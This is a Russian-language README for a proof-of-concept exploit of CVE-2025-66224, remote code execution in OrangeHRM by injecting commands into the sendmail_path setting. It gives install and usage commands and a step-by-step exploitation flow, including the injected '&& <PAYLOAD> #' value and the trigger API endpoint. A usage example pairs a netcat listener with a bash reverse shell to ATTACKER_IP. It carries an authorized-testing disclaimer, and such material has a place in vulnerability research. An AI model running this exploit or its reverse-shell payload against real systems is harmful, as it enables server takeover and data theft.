Эксплойт PoC для CVE-2025-66224, демонстрирующий удаленное выполнение кода в OrangeHRM через внедрение команды в параметр sendmail_path, с автоматическим внедрением и очисткой полезной нагрузки в базе данных.
Этот Proof of Concept (PoC) демонстрирует уязвимость удаленного выполнения кода (RCE) в OrangeHRM через внедрение команды в параметр конфигурации sendmail_path.
Эксплойт работает следующим образом:
hs_hr_config)Этот инструмент предоставляется только для образовательных и авторизованных тестов безопасности. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrmpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Start listener on attacker machine
nc -lvnp 4444
# Execute exploit with reverse shell payload
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
| Параметр | Короткий | Обязательный | Описание |
|---|---|---|---|
--target | -t | ✅ | URL цели (например, http://target.com) |
--cookie | -c | ✅ | Значение сессионной куки |
--cookie_name | -cn | ❌ | Имя куки (по умолчанию: _orangehrm) |
--command | -cmd | ✅ | Команда для выполнения на цели |
--db_host | -dh | ✅ | Адрес хоста MySQL |
--db_user | -du | ✅ | Имя пользователя MySQL |
--db_pass | -dp | ✅ | Пароль MySQL |
--db_port | -dport | ❌ | Порт MySQL (по умолчанию: 3306) |
Уязвимость существует в функциональности конфигурации электронной почты, где параметр sendmail_path сохраняется в базе данных и впоследствии выполняется без надлежащей санитизации.
Поток эксплуатации:
1. Authenticate to OrangeHRM (obtain valid session cookie)
↓
2. Connect to MySQL database
↓
3. Locate hs_hr_config table
↓
4. Update email_config.sendmail_path value:
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Trigger execution via API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Command executes on server
↓
7. Restore original value (cleanup)
Уязвимый параметр: email_config.sendmail_path
База данных:
hs_hr_configname = 'email_config.sendmail_path'value = путь к команде sendmailЭндпоинт триггера:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathPoC от: RiccK
Команда: Bypassadores && HackersOnSteroids
⚠️ Используйте ответственно. Всегда получайте надлежащее разрешение перед тестированием.